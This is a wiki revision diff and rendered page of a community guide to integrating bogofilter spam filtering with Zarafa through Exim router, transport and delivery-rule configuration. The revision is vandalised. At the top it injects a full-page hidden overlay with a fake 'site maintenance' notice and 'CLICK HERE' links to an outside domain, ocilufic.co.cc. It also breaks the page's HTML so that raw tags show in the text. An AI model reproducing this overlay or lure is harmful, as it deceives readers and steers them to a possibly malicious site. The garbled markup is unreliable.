Zarafa integration with bogofilter

From Zarafa wiki

(Difference between revisions)
Jump to: navigation, search
m
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ocilufic.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ocilufic.co.cc CLICK HERE]=
 +
----
 +
</div>
== How To install Bogofilter4Zarafa ==
== How To install Bogofilter4Zarafa ==
-
<BR>
+
&lt;BR>
-
<font color=red>'''This article is a community contribution and may include unsupported configurations.''' </font>
+
&lt;font color=red>'''This article is a community contribution and may include unsupported configurations.''' &lt;/font>
-
<BR><BR>
+
&lt;BR>&lt;BR>
'''Prerequisites'''
'''Prerequisites'''
Line 8: Line 16:
A working installation of:
A working installation of:
-
Zarafa Server<BR>
+
Zarafa Server&lt;BR>
-
SMTP Server with possibility to integrate bogofilter (Exim in this case)<BR>
+
SMTP Server with possibility to integrate bogofilter (Exim in this case)&lt;BR>
-
PHP 5.x incl Zarafa PHP-Mapi Module<BR>
+
PHP 5.x incl Zarafa PHP-Mapi Module&lt;BR>
-
cron daemon<BR>
+
cron daemon&lt;BR>
-
bogofilter 1.1.x <BR>
+
bogofilter 1.1.x &lt;BR>
-
Outlook 2000-2007 Client<BR>
+
Outlook 2000-2007 Client&lt;BR>
-
Bogofilter Zarafa scripts [[Media:Bogofilter4zarafa-1.00.zip]]<BR>
+
Bogofilter Zarafa scripts [[Media:Bogofilter4zarafa-1.00.zip]]&lt;BR>
-
<BR>
+
&lt;BR>
'''Installation'''
'''Installation'''
Line 21: Line 29:
Create a public folder called bogofilter under all public folders. Install the  
Create a public folder called bogofilter under all public folders. Install the  
bogofilterAdmin.oft file in this folder and set new items to be creating using
bogofilterAdmin.oft file in this folder and set new items to be creating using
-
this form.<BR>
+
this form.&lt;BR>
-
<BR>
+
&lt;BR>
Create a new item in bogofilter folder. Select your Ham and NoScan folders.  
Create a new item in bogofilter folder. Select your Ham and NoScan folders.  
Every folder not set to be a Ham folder will not be scanned at all. Save the
Every folder not set to be a Ham folder will not be scanned at all. Save the
-
new item.<BR>
+
new item.&lt;BR>
-
<BR>
+
&lt;BR>
Create UnsureSPAM folder in users Inbox.
Create UnsureSPAM folder in users Inbox.
-
<BR>
+
&lt;BR>
Copy the php file to any location at server. Set the username and password to
Copy the php file to any location at server. Set the username and password to
-
one that has got admin right. Adapt path names if necessary.<BR>
+
one that has got admin right. Adapt path names if necessary.&lt;BR>
-
<BR>
+
&lt;BR>
Start the script. After script run you should find the bogofilter wordlist in
Start the script. After script run you should find the bogofilter wordlist in
-
folder specified in php script. Open Outlook or Zarafa Web Interface and <BR>
+
folder specified in php script. Open Outlook or Zarafa Web Interface and &lt;BR>
ensure that the following 3 messages exists for your username:
ensure that the following 3 messages exists for your username:
-
bogofilter ham<BR>
+
bogofilter ham&lt;BR>
-
bogofilter spam<BR>
+
bogofilter spam&lt;BR>
-
bogofilter scan<BR>
+
bogofilter scan&lt;BR>
-
<BR>
+
&lt;BR>
-
If everything runs feel free to set up a crontab entry.<BR>
+
If everything runs feel free to set up a crontab entry.&lt;BR>
-
<BR>
+
&lt;BR>
'''Exim Configuration'''
'''Exim Configuration'''
Line 46: Line 54:
Entry in router section:
Entry in router section:
-
<pre>
+
&lt;pre>
bogofilter_router:
bogofilter_router:
     domains = +local_domains
     domains = +local_domains
Line 62: Line 70:
   directory_transport = local_delivery_zarafa
   directory_transport = local_delivery_zarafa
   pipe_transport = zarafa_pipe
   pipe_transport = zarafa_pipe
-
</pre>
+
&lt;/pre>
Entry in transport section
Entry in transport section
-
<pre>
+
&lt;pre>
bogofilter_filter:
bogofilter_filter:
     driver = pipe
     driver = pipe
Line 97: Line 105:
     envelope_to_add
     envelope_to_add
     return_path_add
     return_path_add
-
</pre>
+
&lt;/pre>
-
<BR>
+
&lt;BR>
Delivery rules in .zarafa file on per user level
Delivery rules in .zarafa file on per user level
-
<pre>
+
&lt;pre>
if $header_X-Bogosity: contains "Yes" then
if $header_X-Bogosity: contains "Yes" then
     pipe "/usr/local/bin/zarafa-dagent -j $local_part"
     pipe "/usr/local/bin/zarafa-dagent -j $local_part"
Line 111: Line 119:
endif
endif
pipe "/usr/local/bin/zarafa-dagent $local_part"
pipe "/usr/local/bin/zarafa-dagent $local_part"
-
</pre>
+
&lt;/pre>
-
<BR>
+
&lt;BR>
bogofilter minimum configuration
bogofilter minimum configuration
-
<pre>
+
&lt;pre>
bogofilter_dir=/var/lib/bogofilter
bogofilter_dir=/var/lib/bogofilter
spam_header_name=X-Bogosity
spam_header_name=X-Bogosity
Line 123: Line 131:
spamicity_formats = %0.6f, %0.6f, %0.6f
spamicity_formats = %0.6f, %0.6f, %0.6f
charset_default=iso-8859-1
charset_default=iso-8859-1
-
</pre>
+
&lt;/pre>

Revision as of 23:23, 23 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


How To install Bogofilter4Zarafa

<BR> <font color=red>This article is a community contribution and may include unsupported configurations. </font> <BR><BR>

Prerequisites

A working installation of:

Zarafa Server<BR> SMTP Server with possibility to integrate bogofilter (Exim in this case)<BR> PHP 5.x incl Zarafa PHP-Mapi Module<BR> cron daemon<BR> bogofilter 1.1.x <BR> Outlook 2000-2007 Client<BR> Bogofilter Zarafa scripts Media:Bogofilter4zarafa-1.00.zip<BR> <BR>

Installation

Create a public folder called bogofilter under all public folders. Install the bogofilterAdmin.oft file in this folder and set new items to be creating using this form.<BR> <BR> Create a new item in bogofilter folder. Select your Ham and NoScan folders. Every folder not set to be a Ham folder will not be scanned at all. Save the new item.<BR> <BR> Create UnsureSPAM folder in users Inbox. <BR> Copy the php file to any location at server. Set the username and password to one that has got admin right. Adapt path names if necessary.<BR> <BR> Start the script. After script run you should find the bogofilter wordlist in folder specified in php script. Open Outlook or Zarafa Web Interface and <BR> ensure that the following 3 messages exists for your username: bogofilter ham<BR> bogofilter spam<BR> bogofilter scan<BR> <BR> If everything runs feel free to set up a crontab entry.<BR> <BR>

Exim Configuration

Entry in router section:

<pre> bogofilter_router:

    domains = +local_domains
    no_verify
   # the next line looks for X-flag to see if the mail has been scanned
    condition = ${if !def:h_X-flag: {true }}
    driver = accept
    transport = bogofilter_filter

userzarafabox:

 driver = redirect
 check_local_user
 file = $home/.zarafa
 no_verify
 allow_filter
 directory_transport = local_delivery_zarafa
 pipe_transport = zarafa_pipe

</pre>

Entry in transport section

<pre> bogofilter_filter:

   driver = pipe
   command = /usr/local/bin/exim -oMr spam-scanned -bS
   use_bsmtp = true
   # next line adds the X-flag so we will later know mail has been scanned
   headers_add =  X-flag: true
   transport_filter = "/usr/local/bin/bogofilter -d /var/lib/bogofilter -l -p -e"
   # group with enough rights
   group = bogofilter
   return_fail_output = true
   # user with enough rights
   user = bogofilter
   home_directory = "/tmp"
   log_output = true
   return_path_add = false

zarafa_pipe:

   driver = pipe
   # user with enough rights
   user = zarafa
   # group with enough rights
   group = zarafa
   command = "/usr/local/bin/zarafa-dagent $local_part"
   return_path_add

local_delivery_zarafa:

   driver = appendfile
   headers_remove = X-flag
   maildir_format = true
   delivery_date_add
   envelope_to_add
   return_path_add

</pre> <BR> Delivery rules in .zarafa file on per user level

<pre> if $header_X-Bogosity: contains "Yes" then

   pipe "/usr/local/bin/zarafa-dagent -j $local_part"
   finish

endif if $header_X-Bogosity: contains "Unsure" then

   pipe "/usr/local/bin/zarafa-dagent $local_part -F UnsureSPAM"
   finish

endif pipe "/usr/local/bin/zarafa-dagent $local_part" </pre> <BR> bogofilter minimum configuration

<pre> bogofilter_dir=/var/lib/bogofilter spam_header_name=X-Bogosity stats_in_header=Yes timestamp=Yes spamicity_tags = Yes, No, Unsure spamicity_formats = %0.6f, %0.6f, %0.6f charset_default=iso-8859-1 </pre>

Personal tools